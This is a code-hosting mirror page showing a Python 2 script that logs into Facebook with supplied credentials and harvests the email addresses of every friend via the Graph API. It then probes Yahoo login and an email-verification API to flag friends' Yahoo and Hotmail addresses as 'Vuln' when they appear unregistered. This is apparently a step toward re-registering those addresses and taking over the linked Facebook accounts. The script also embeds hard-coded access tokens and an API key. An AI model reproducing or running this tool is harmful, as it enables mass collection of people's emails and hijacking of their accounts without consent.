GithubHelp home page GithubHelp logo

sasputra / tes Goto Github PK

View Code? Open in Web Editor NEW
0.0 0.0 0.0 3 KB

# encoding=utf8 # Author: Zen-Oh-Sama import requests, json, os, re, sys, mechanize, urllib reload(sys) sys.setdefaultencoding('utf8') br = mechanize.Browser() br.set_handle_robots(False) os.system("clear") idt = raw_input("\033[39m[\033[31m*\033[39m] Email : ") passw = raw_input("\033[39m[\033[31m*\033[39m] Password: ") url = "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (idt) + "&locale=en_US&password=" + (passw) + "&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" data = urllib.urlopen(url) op = json.load(data) if 'access_token' in op: token = (op["access_token"]) print ("\033[39m[\033[31m+\033[39m] Login Berhasil") else: print ("\033[39m[\033[31m+\033[39m] \033[31mLogin Gagal!") sys.exit() get_friends = requests.get('https://graph.facebook.com/me/friends?access_token='+token) hasil = json.loads(get_friends.text) print ("\033[39m[\033[31m+\033[39m] Berhasil Mendapatkan ID Teman...") #cok = open('Mail_Yahoo.txt','w') def defense(): global o, h o = [] h = 0 print "\033[36m" + 55*"-" print "\033[36m| " + 11*" " + "\033[35mEmail" + 14*" " + "\033[36m|" + 9*" " + "\033[33mVuln" + 8*" " + "\033[36m|" print 55*"-" for i in hasil['data']: wrna = "\033[36m" wrne = "\033[39m" h +=1 o.append(h) x = requests.get("https://graph.facebook.com/"+i['id']+"?access_token="+token) z = json.loads(x.text) try: kunci = re.compile(r'@.*') cari = kunci.search(z['email']).group() if 'yahoo.com' in cari: br.open("https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com") br._factory.is_html = True br.select_form(nr=0) br["username"] = z['email'] j = br.submit().read() Zen = re.compile(r'"messages.ERROR_INVALID_USERNAME">.*') try: cd = Zen.search(j).group() except: vuln = 6*" " + "\033[31mNot Vuln" #Email Len lean = 30 - (len(z['email'])) eml = lean * " " #Name Len lone = 24 - (len(vuln)) namel = lone * " " print "\033[36m| " + wrna + z['email'] + eml + "\033[36m| " + wrne + vuln + namel + " \033[36m|" continue if '"messages.ERROR_INVALID_USERNAME">' in cd: vuln = 8*" " + "\033[32mVuln" else: vuln = 5*" " + "\033[31mNot Vuln" #Email Len lean = 30 - (len(z['email'])) eml = lean * " " #Name Len #Author: Zen-Oh-Sama lone = 24 - (len(vuln)) namel = lone * " " print "\033[36m| " + wrna + z['email'] + eml + "\033[36m| " + wrne + vuln + namel + " \033[36m|" elif 'hotmail' in cari: url = ("http://apilayer.net/api/check?access_key=7a58ece2d10e54d09e93b71379677dbb&email=" + z['email'] + "&smtp=1&format=1") cek = json.loads(requests.get(url).text) if cek['smtp_check'] == 0: vuln = 8*" " + "\033[32mVuln" else: vuln = 5*" " + "\033[31mNot Vuln" lean = 30 - (len(z['email'])) eml = lean * " " #Name Len #Author: Zen-Oh-Sama lone = 24 - (len(vuln)) namel = lone * " " print "\033[36m| " + wrna + z['email'] + eml + "\033[36m| " + wrne + vuln + namel + "\033[36m|" else: pass except KeyError: pass defense()

Python 100.00%

tes's People

Contributors

zenoxetine avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.